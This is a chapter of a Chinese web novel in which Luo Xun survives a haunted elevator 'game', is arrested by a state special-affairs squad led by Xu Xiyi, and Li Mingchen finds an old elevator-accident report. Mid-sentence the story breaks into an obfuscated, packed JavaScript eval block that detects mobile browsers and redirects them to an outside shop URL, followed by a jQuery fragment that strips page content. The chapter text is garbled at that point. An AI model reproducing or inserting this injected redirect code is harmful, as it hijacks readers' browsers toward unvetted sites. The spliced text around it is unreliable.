“咣当!”
金属的门在震颤,簌簌灰尘直往下掉。
“咣当!!”
震颤的幅度越来越大,就像有一只庞大的怪物正在门外,不顾一切地只想要毁灭!
“咣当!!!”
不锈钢的门板猛然凹进去一块,更多灰尘喷涌而入,金属的尖啸几乎就要刺穿人的耳膜!
地板也在跟着颤抖,失重感隐隐包裹上来,骆寻重心不稳,手一松,整个人就都砸在了电梯墙壁上!
后背被撞得生疼,但根本顾不及,骆寻绞尽脑汁地回忆——电梯失控时最佳的求生方法是什么来着?
稳住重心,减少冲击?
管不了那么多了!骆寻揽着翠花,紧紧地靠在了墙壁之上。
也正在此时,她终于看见了显示屏上重组的文字。
【恭喜你们成功杀死了魔鬼。】
哈?
这是什么意思?游戏是胜利了还是失败了?
如果胜利,轿厢为何疑似将要坠落?可如果失败,规则又为何要恭喜?门外的又是什么?它就不能把话说明白吗!?
仿佛察觉到她的所思所想,显示屏的红光意味不明地闪烁起来,而后“滋滋”两声,就如同飘摇的烛火遭遇了狂风般,倏然熄灭!
在骆寻不可置信的目光里,它居然就这么熄、灭、了!
那是轿厢里最后的光源,它一灭,周遭顿时便陷入了彻彻底底的黑暗。
黑暗使人不安,所有的声音都被放大,好似又有什么东西正在伺机而动……不,不是好似,门外那东西还在猛烈地撞击呢!
完全搞不懂眼前的状况,骆寻只能死死地盯着门的方向,浑身紧绷。
倏忽,撞击声消失了。
一点微光自门板歪曲的缝隙间泄入,尘雾弥漫,夹杂着朦胧的人声。
——人声?
“徐队……”
“已经确认……是否要……”
“李明尘他……”
李明尘?
捕捉到这个模糊而又清晰的名字,骆寻忍不住低头瞥了眼。
黑暗让她只能看见一个轮廓,那男人正软趴趴地倒在地上,一动不动,不知道是死了还是晕了。
应该只是晕了,寿命系统并没有跳出余额增加的提示。
不,也有可能是死了……毕竟他那么弱,杀他余额或许根本就不会增加。
门外的东西会说话,还认识李明尘,是和他一样的“玩家”吗?嗯,也不能排除是鬼怪的可能性。
虽然手无寸铁,但五个小时的余额还是给予了骆寻底气,她咬紧牙关,只待门被彻底打开的那一刹那——
“行动。”
一道冷冽的女声在门旁响起。
几乎她话音落地的下一瞬间,巨大的撞击声便再度响彻轿厢——
“咣!!”
“咣!!!”
一下又一下!
那扇李柏曾经拼尽全身力气也没能打开的门,在不过眨眼之间,就这么被暴力地破开了!
在更加强大且绝对的力量面前,这座悬于高空的牢笼,这只曾经斥满猜疑的怪物,也不过是一堆破铜烂铁,终有被开膛破肚之日!
金属做的门板应声而裂,门外的灰尘疯狂涌入,错乱的电流声层出不暇,连带着轿厢一同颤抖!
“开了开了!”
“我去,这都什么啊!?好恶心!”
“小李,小李?呕……”
人声接二连三响起,几道炽烈的白光在头顶乱晃。
骆寻试图分辨,岂料那强光竟直接灌进眼底,刺得人眼眶酸涩,睁都睁不开。若强行去看,眼前只会剩下白茫茫的一片。
恍然,骆寻产生了某种错觉,陈静慧低哑的祈祷又一次回响耳畔。
“请接引我前往您的神国……”
门外的好像并非是鬼怪,既然没有鬼怪……呃,难不成她也跟着陈静慧去神国了?
可她甚至都不知道她信仰的是什么神明,她也要跟着去吗?
“咚。”又一声闷响,好像有什么人轻巧地跳进了电梯,轿厢跟着晃悠了一下。
“安全。”那冷冽的女声再度响起。
紧接着便是一阵窸窸窣窣,骆寻的视野在此刻渐渐恢复,她看见一个模糊的人影,跨过地上的尸体,朝她走来……然后在她旁边蹲了下去。
“啪。”地一声脆响。
“还活着没?”那人提溜起李明尘的脑袋,拍了拍他的脸颊。
李明尘虚弱至极的声音随后响起:“师姐……”
那人嫌弃地“啧”了一声,“你这脸上弄得什么啊?真惨!你怎么就这么糟心……那么多人在呢,怎么就唯独挑中你了?”
李明尘:“……”
“行了,没事了。”那人又抓了把他的头发,然后回头高喊,“让医护过来!”
“让我看看,这还有一个……”她一边说着,一边就这么放开了李明尘。
“咚!”这是李明尘的脑袋与地面进行亲密无间接触的声响。
李明尘:“……”
心累,今夜唯有心累。
可恍惚间看见女人朝旁边走去,意识到她要做什么,他也顾不上什么累不累、痛不痛了,整个人都仿佛被打了强心剂般,立刻清醒了过来!
“师姐,别——”
“咔哒!”和他的声音一同响起的,是一阵干脆的金属碰撞声。
……
骆寻的视野终于彻底恢复了。
她的眼前浮现出了一张属于女人的、灿烂的笑脸。
她很年轻,瞧着比李明尘大,却又大不了几岁。她穿着身骆寻只在军旅电视剧中见过的深色战斗服,和她的行动一样干脆又利落。
她有着一只哪怕在这样昏暗的环境里也闪闪发亮的眼睛,为什么说是一只呢?因为她脸上还带了个冒险电影中常见的海盗眼罩。
“你被捕了。”她对骆寻说,那只独眼弯着,“危害游戏治安,谋杀特别调查员未遂……你喜欢什么罪名?”
骆寻觉得她脸上的笑容比刚刚那几道莫名其妙的白光还要刺眼。
她想躲闪,低下头,却见一副手铐不知何时锁在了她的手腕上。
玫瑰金色,亮闪闪的,也在昏暗里发着光。
骆寻:“……”
骆寻:“……你是谁?”
女人闻言很是诧异,她先看了看自己,又看了看李明尘,最后才看向她。
她的眉毛古怪挑起:“你不认识?”
骆寻:“我该认识吗?”
女人指了指自己胸前战斗服上的标志,见骆寻没有反应,她又开始在口袋里摸索。
“真是奇了怪了。”
半晌,她拿出一个黑色封皮的小本子。本子不到一手宽,很薄,似乎是某种证件,封皮上嵌了枚红底金边的徽记,那金色在昏暗中划过,竟比之前的所有加在一起还要闪亮。
女人问:“这个你总认识吧?”
望着那枚徽记,骆寻怔了下。
认识,这当然认识——红底金边,五角星,从小到大都再熟悉不过了,让人一看便知,这谁不认识啊?
噢,原来不是神国,而是祖国啊。
——祖国!!?
“我是国家特殊政务管理总局,游戏特别外勤行动处,十一大队的队长。”女人把本子打开,推到她面前,“我叫徐希夷。”
“刚刚被你故意伤害的那个,是我们的特别调查员。”
“你的行为严重触犯了游戏治安管理条例,我在此正式的通知你,你被捕了!请你配合我们的调查。”说着,她“啪”地一声合上本子,不管骆寻有没有听懂,有没有看清,只管朝外挥手,“带走!”
*
骆寻一脸懵然地被带出了轿厢。
祖国,什么局……什么什么?
国徽的冲击力太大,骆寻的脑子里最终只剩下一句回荡不停地“你被捕了”。
我是谁,我在哪,我怎么就被捕了?
政府不是早都已经……
迷茫间,骆寻记起她曾经问李明尘:是不是还有别的游戏存在?
身为老玩家的李明尘当即肯定了这个问题。
那她……这是刚结束了一个游戏就又进入了新的游戏?
嗯,很有可能。
这是骆寻眼下所能想到的、最具有信服力的说法了。实在有太多东西涌入大脑,她思考不过来,索性就不思考,直接接受了这个说法。
当一个人明知寿命无多,仅余下几个小时时,你也会接受一切的。
可接受后,新的问题又浮现了——这又是什么游戏?该怎么通关?
……警匪RPG?她逃,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342980|199446||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们追,她法外无天?
骆寻试着活动了下手腕,并没有任何人留意她的动作。
说是“带走”,但这帮人其实只带她离开了轿厢,他们的人手似乎并不是很充裕,把她带上来后就不太管她了。骆寻还在国际大厦A座,还在这层楼,还在电梯厅之中——她甚至可以近距离地观摩他们工作。
逃跑的机会挺多的,翠花现在也还是流体的状态,会自觉地紧紧攀绕在她臂膀上,敬业地伪装成外套,不需要骆寻多花心思考虑。
那,逃吗?
骆寻莫名地还想再多观摩一下。
头顶的灯光明亮而又柔和,不似鬼城黑黢黢地没有电力,也不似电梯红光那么令人恐慌……墙边有扇小窗,透过窗子,隐约能瞧见夜幕下亮起灯的高楼大厦,一层层好似繁星点点,楼顶赤色的防撞灯忽闪忽闪。
身边的人走走停停,手上都各自有着活干,无暇顾及其它,这让骆寻有种忙里偷闲的静谧感。
恍惚间,她好似回到了从前,回到了那个灾难还没有发生,鬼城也并不存在的年代。
她已经记不清上次感受这样的静谧是在什么时候了。
赌书消得泼茶香,当时只道是寻常。
……
电梯厅很宽敞,共有六座电梯,其中有五座都在正常运行,唯有一座——也就是骆寻刚刚出来的那一座,老旧破败,门框处的金属都早已氧化发黑,深深地嵌在墙中,简直就像是刚刚被挖掘出来的文物一样。
周遭碎石废铁铺了一地,还摆着各式各样、价值不菲的电子设备,人们清扫的清扫,记数据的记数据,李明尘一被人搀扶上来,看见的就是这般犹如考古现场般热火朝天的忙活。
“真是辛苦你了,小李。”同事抽空抬头,一言难尽地扫过他的脸,还有脖子。
“不辛苦,不辛苦。”李明尘扯出一个牵强的笑,强行转移话题,“对了,咱们来之前整理的事故报告,能不能现在拿一份给我?”
特政局严重人手不足,恨不得把一个人掰成两个人用是常有的事。对于他刚刚历经生死就要马上参加工作的行为,同事半点也不觉得奇怪,随手指了下,“喏,那边。”
李明尘也不再麻烦别人,自己扶着墙就走了过去。
国际大厦建设至今已有二三十年,大大小小的事故发生不少,资料足有厚厚一沓。李明尘目的明确,很快便精准拿出了其中一起。
这份报告上记录了一起骇人听闻的电梯冲顶事故!
那是在大约两年前的某个夜晚,电梯自1楼启动后,竟只用了短短十几秒钟便冲到顶层,而后又迅速地、直直坠落到底,整个轿厢都在巨大的冲击力下变形扭曲,梯内五名乘客无一幸存,全都在顷刻间被砸成了肉酱,收尸的时候混在一起,分都分不开!
事故发生后,这座电梯即使换新也无人敢用,大厦的管理方索性便在每一层都砌上一堵墙,把事故电梯彻底封存了。国际大厦A座的六座电梯也正是由此,只剩下了五座。
而后直到近日,师姐带领他们十一大队搜寻内测副本,锁定了这座大厦……其实本来是毫无头绪与进展的,他们都准备要收队了,但岂料他忽然失踪——李明尘才通关一场游戏不久,照理说怎么也不该在这时又进入游戏!
师姐当机立断,重新部署了设备与人手,终于,在他失踪半小时后取得了新进展。
——红外扫描仪检测到顶层的墙里有人!
十一大队奋力砸开了那堵墙——消失的第六座电梯这才重见天日!差点被骆寻掐死的他,也终于得救!
想到这跌宕起伏的经历,李明尘真不知道该说自己是倒霉还是幸运好了……
他摇摇头,继续翻看报告。
报告的前几页写事故成因与后续处理,故障的详细缘由却并未写明,只说是检修工粗心大意。
后几页则是五位遇难者的资料,他们都是当时正在这栋大楼里加班的白领。
翻到其中一页,李明尘的手指倏然一顿,而后又很快颤抖了起来。
遇难者:方璇。
出生于1○96年……家庭住址……
一张并不陌生的脸正在资料的入职照片中朝他微笑。
那是她还没有死去,还没有变成红线鬼的时候。
他早该想到的。
如果他当时认真看完了这叠资料就好了。